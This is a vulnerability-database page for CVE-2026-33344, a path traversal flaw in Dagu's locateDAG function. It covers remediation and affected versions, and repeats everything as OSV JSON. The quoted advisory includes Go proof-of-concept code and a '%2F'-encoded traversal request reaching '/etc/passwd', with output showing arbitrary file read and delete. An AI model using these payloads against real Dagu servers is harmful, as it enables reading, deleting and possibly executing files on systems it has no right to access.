Vulnerabilities in pkg:golang/github.com/dagu-org/dagu

PACKAGE
Advisory Identifier: GHSA-ph8x-4jfv-v9v8
Advisory Summary

CVE-2026-33344 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/dagu org/dagu libraries in the Go ecosystem. The issue involves path traversal via %2f-encoded slashes in locatedag. Remediation is available by upgrading affected packages to version 1.30.4-0.20260319093346-7d07fda8f9de.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/dagu-org/dagu

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/dagu-org/dagu. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-ph8x-4jfv-v9v8 CVE-2026-33344 HIGH Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG
GHSA-m4q3-457p-hh2x CVE-2026-31886 CRITICAL Dagu: Path Traversal via `dagRunId` in Inline DAG Execution
GHSA-6v48-fcq6-ff23 CVE-2026-27598 HIGH Dagu: Path traversal in DAG creation allows arbitrary YAML file write outside DAGs directory
GHSA-6qr9-g2xw-cw92 - CRITICAL Dagu affected by unauthenticated RCE via inline DAG spec in default configuration

CVE-2026-33344 at a Glance

CVE Identifier CVE-2026-33344
GHSA Identifier GHSA-ph8x-4jfv-v9v8
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/dagu org/dagu
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-33344

To remediate this vulnerability, upgrade all affected Github.com/dagu org/dagu dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dagu-org/dagu fixed: 1.30.4-0.20260319093346-7d07fda8f9de
Upgrade github.com/dagu-org/dagu to 1.30.4-0.20260319093346-7d07fda8f9de
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dagu-org/dagu

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33344, inspect your project dependencies for Github.com/dagu org/dagu:

inspect dependencies for github.com/dagu-org/dagu

Analyze the terminal output to locate any version of Github.com/dagu org/dagu in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.30.4-0.20260319093346-7d07fda8f9de), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/dagu org/dagu, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added `ValidateDAGName` to `CreateNewDAG` and rewrote `generateFilePath` to use `filepath.Base`. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the `{fileName}` URL path parameter to `locateDAG` without calling `ValidateDAGName`. `%2F`-encoded forward slashes in the `{fileName}` segment traverse outside the DAGs directory. ### Vulnerable code `internal/persis/filedag/store.go`, lines 508-513: ```go func (store *Storage) locateDAG(nameOrPath string) (string, error) { if strings.Contains(nameOrPath, string(filepath.Separator)) { foundPath, err := findDAGFile(nameOrPath) if err == nil { return foundPath, nil // returns arbitrary resolved path } } // ...safe searchPaths branch follows ``` `findDAGFile` resolves the path with `filepath.Abs` and checks only that the file exists with a YAML extension. No containment check against `baseDir`. Chi v5 routes using `r.URL.RawPath` when set. The pattern `/dags/{fileName}/spec` captures `..%2F..%2Fetc%2Ftarget.yaml` as a single path segment. The oapi-codegen runtime calls `url.PathUnescape`, producing `../../etc/target.yaml`. This decoded string reaches `locateDAG` with the `/` separator intact. Go's `net/http.ServeMux` would normally redirect paths containing `..`, but dagu binds the chi mux directly to `&http.Server{Handler: r}` (server.go:833-834), so no path cleaning fires. ### Affected endpoints The three confirmed impacts via `locateDAG`: | Endpoint | Impact | |----------|--------| | `GET /dags/{fileName}/spec` | Arbitrary `.yaml`/`.yml` file read (`os.ReadFile`) | | `DELETE /dags/{fileName}` | Arbitrary `.yaml`/`.yml` file delete (`os.Remove`) | | `POST /dags/{fileName}/start` | Load arbitrary YAML, execute as workflow | Same pattern affects all other `{fileName}` endpoints: `/dag-runs`, `/dag-runs/{id}`, `/rename`, `/start-sync`, `/enqueue`, and webhook handlers. `UpdateDAGSpec` is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject `/`. ### PoC **Store-level** (dagu v2.0.2, Go 1.26, macOS; `locateDAG` unchanged through v2.3.0): ```go func TestLocateDAGPathTraversal(t *testing.T) { baseDir, _ := os.MkdirTemp("", "bd") defer os.RemoveAll(baseDir) outsideDir, _ := os.MkdirTemp("", "od") defer os.RemoveAll(outsideDir) store := filedag.New(baseDir, filedag.WithSkipExamples(true)) ctx := context.Background() store.Create(ctx, "legit", []byte("name: legit\nsteps:\n - name: s\n command: echo ok\n")) target := filepath.Join(outsideDir, "secret.yaml") os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644) rel, _ := filepath.Rel(baseDir, target) spec, _ := store.GetSpec(ctx, rel) fmt.Println(spec) } ``` Output: ``` baseDir: /tmp/bd1816472583 targetFile: /tmp/od3906487343/secret.yaml traversal: ../od3906487343/secret.yaml === GetSpec (arbitrary file read) === SUCCESS: read file outside baseDir Content: password: hunter2 db_host: prod-db.internal === Delete (arbitrary file delete) === SUCCESS: deleted /tmp/od3906487343/important.yaml ``` **HTTP-level** (chi v5.2.2): ```go r := chi.NewRouter() r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) { raw := chi.URLParam(r, "fileName") decoded, _ := url.PathUnescape(raw) fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded) }) req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil) w := httptest.NewRecorder() r.ServeHTTP(w, req) ``` Output: ``` path: /dags/..%2F..%2Fetc%2Fpasswd/spec status: 200 raw=..%2F..%2Fetc%2Fpasswd decoded=../../etc/passwd ``` Chi captures `..%2F..%2Fetc%2Fpasswd` as one path segment via `RawPath`, oapi-codegen decodes `%2F` to `/`. Confirmed with chi v5.2.2. ### Affected versions - v2.0.0 through v2.3.0 (current latest, checked 2026-03-18). - The `locateDAG` function with the `filepath.Separator` code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite. - The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched `CreateNewDAG` but didn't address the new `locateDAG` code path that was introduced in the same release. ### Suggested fix Add path containment to `locateDAG` rather than sprinkling `ValidateDAGName` across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split `locateDAG` into a validated public method (HTTP handlers) and an internal method (trusted callers only). ### Impact An authenticated user (or any user if `auth.mode=none`) can read or delete any `.yaml`/`.yml` file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files. The execute endpoints also traverse via `locateDAG`, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same `locateDAG` call confirmed above. Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with `auth.mode=none` are exploitable without credentials.

CVE-2026-33344 Affected Github.com/dagu org/dagu Versions

1 component(s)
Fixed Versions:
1.30.4-0.20260319093346-7d07fda8f9de
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dagu-org/dagu
Go
≥ 1.30.4-0.20260221021317-e2ed589105d7
< 1.30.4-0.20260319093346-7d07fda8f9de
1.30.4-0.20260319093346-7d07fda8f9de

References

Frequently Asked Questions

What is CVE-2026-33344?
CVE-2026-33344 is a security vulnerability in Github.com/dagu org/dagu involving path traversal via %2F-encoded slashes in locateDAG under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/dagu org/dagu versions are affected?
Affected versions include releases prior to 1.30.4-0.20260319093346-7d07fda8f9de across affected packages: github.com/dagu-org/dagu.
What version fixes CVE-2026-33344?
Upgrading to 1.30.4-0.20260319093346-7d07fda8f9de (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dagu-org/dagu affected?
Yes, github.com/dagu-org/dagu is affected in releases prior to 1.30.4-0.20260319093346-7d07fda8f9de. Upgrade your dependency to 1.30.4-0.20260319093346-7d07fda8f9de or later.
What is the CVSS score of CVE-2026-33344?
CVE-2026-33344 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-33344?
CVE-2026-33344 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-33344?
Run the dependency tree command: 'inspect dependencies for github.com/dagu-org/dagu'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ph8x-4jfv-v9v8",
  "modified" : "2026-03-27T21:57:52Z",
  "published" : "2026-03-19T19:25:44Z",
  "aliases" : [ "CVE-2026-33344" ],
  "summary" : "Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG",
  "details" : "The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added `ValidateDAGName` to `CreateNewDAG` and rewrote `generateFilePath` to use `filepath.Base`. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the `{fileName}` URL path parameter to `locateDAG` without calling `ValidateDAGName`. `%2F`-encoded forward slashes in the `{fileName}` segment traverse outside the DAGs directory.\n\n### Vulnerable code\n\n`internal/persis/filedag/store.go`, lines 508-513:\n\n```go\nfunc (store *Storage) locateDAG(nameOrPath string) (string, error) {\n    if strings.Contains(nameOrPath, string(filepath.Separator)) {\n        foundPath, err := findDAGFile(nameOrPath)\n        if err == nil {\n            return foundPath, nil  // returns arbitrary resolved path\n        }\n    }\n    // ...safe searchPaths branch follows\n```\n\n`findDAGFile` resolves the path with `filepath.Abs` and checks only that the file exists with a YAML extension. No containment check against `baseDir`.\n\nChi v5 routes using `r.URL.RawPath` when set. The pattern `/dags/{fileName}/spec` captures `..%2F..%2Fetc%2Ftarget.yaml` as a single path segment. The oapi-codegen runtime calls `url.PathUnescape`, producing `../../etc/target.yaml`. This decoded string reaches `locateDAG` with the `/` separator intact.\n\nGo's `net/http.ServeMux` would normally redirect paths containing `..`, but dagu binds the chi mux directly to `&http.Server{Handler: r}` (server.go:833-834), so no path cleaning fires.\n\n### Affected endpoints\n\nThe three confirmed impacts via `locateDAG`:\n\n| Endpoint | Impact |\n|----------|--------|\n| `GET /dags/{fileName}/spec` | Arbitrary `.yaml`/`.yml` file read (`os.ReadFile`) |\n| `DELETE /dags/{fileName}` | Arbitrary `.yaml`/`.yml` file delete (`os.Remove`) |\n| `POST /dags/{fileName}/start` | Load arbitrary YAML, execute as workflow |\n\nSame pattern affects all other `{fileName}` endpoints: `/dag-runs`, `/dag-runs/{id}`, `/rename`, `/start-sync`, `/enqueue`, and webhook handlers. `UpdateDAGSpec` is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject `/`.\n\n### PoC\n\n**Store-level** (dagu v2.0.2, Go 1.26, macOS; `locateDAG` unchanged through v2.3.0):\n\n```go\nfunc TestLocateDAGPathTraversal(t *testing.T) {\n    baseDir, _ := os.MkdirTemp(\"\", \"bd\")\n    defer os.RemoveAll(baseDir)\n    outsideDir, _ := os.MkdirTemp(\"\", \"od\")\n    defer os.RemoveAll(outsideDir)\n\n    store := filedag.New(baseDir, filedag.WithSkipExamples(true))\n    ctx := context.Background()\n    store.Create(ctx, \"legit\", []byte(\"name: legit\\nsteps:\\n  - name: s\\n    command: echo ok\\n\"))\n\n    target := filepath.Join(outsideDir, \"secret.yaml\")\n    os.WriteFile(target, []byte(\"password: hunter2\\ndb_host: prod-db.internal\\n\"), 0644)\n\n    rel, _ := filepath.Rel(baseDir, target)\n    spec, _ := store.GetSpec(ctx, rel)\n    fmt.Println(spec)\n}\n```\n\nOutput:\n\n```\nbaseDir:    /tmp/bd1816472583\ntargetFile: /tmp/od3906487343/secret.yaml\ntraversal:  ../od3906487343/secret.yaml\n\n=== GetSpec (arbitrary file read) ===\nSUCCESS: read file outside baseDir\nContent:\npassword: hunter2\ndb_host: prod-db.internal\n\n=== Delete (arbitrary file delete) ===\nSUCCESS: deleted /tmp/od3906487343/important.yaml\n```\n\n**HTTP-level** (chi v5.2.2):\n\n```go\nr := chi.NewRouter()\nr.Get(\"/dags/{fileName}/spec\", func(w http.ResponseWriter, r *http.Request) {\n    raw := chi.URLParam(r, \"fileName\")\n    decoded, _ := url.PathUnescape(raw)\n    fmt.Fprintf(w, \"raw=%s\\ndecoded=%s\\n\", raw, decoded)\n})\n\nreq := httptest.NewRequest(\"GET\", \"/dags/..%2F..%2Fetc%2Ftarget.yaml/spec\", nil)\nw := httptest.NewRecorder()\nr.ServeHTTP(w, req)\n```\n\nOutput:\n\n```\npath: /dags/..%2F..%2Fetc%2Fpasswd/spec\nstatus: 200\nraw=..%2F..%2Fetc%2Fpasswd\ndecoded=../../etc/passwd\n```\n\nChi captures `..%2F..%2Fetc%2Fpasswd` as one path segment via `RawPath`, oapi-codegen decodes `%2F` to `/`. Confirmed with chi v5.2.2.\n\n### Affected versions\n\n- v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).\n- The `locateDAG` function with the `filepath.Separator` code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite.\n- The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched `CreateNewDAG` but didn't address the new `locateDAG` code path that was introduced in the same release.\n\n### Suggested fix\n\nAdd path containment to `locateDAG` rather than sprinkling `ValidateDAGName` across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split `locateDAG` into a validated public method (HTTP handlers) and an internal method (trusted callers only).\n\n### Impact\n\nAn authenticated user (or any user if `auth.mode=none`) can read or delete any `.yaml`/`.yml` file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.\n\nThe execute endpoints also traverse via `locateDAG`, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same `locateDAG` call confirmed above.\n\nAuth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with `auth.mode=none` are exploitable without credentials.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dagu-org/dagu"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.30.4-0.20260221021317-e2ed589105d7"
      }, {
        "fixed" : "1.30.4-0.20260319093346-7d07fda8f9de"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33344"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dagu-org/dagu"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T19:25:44Z",
    "nvd_published_at" : "2026-03-24T20:16:28Z"
  }
}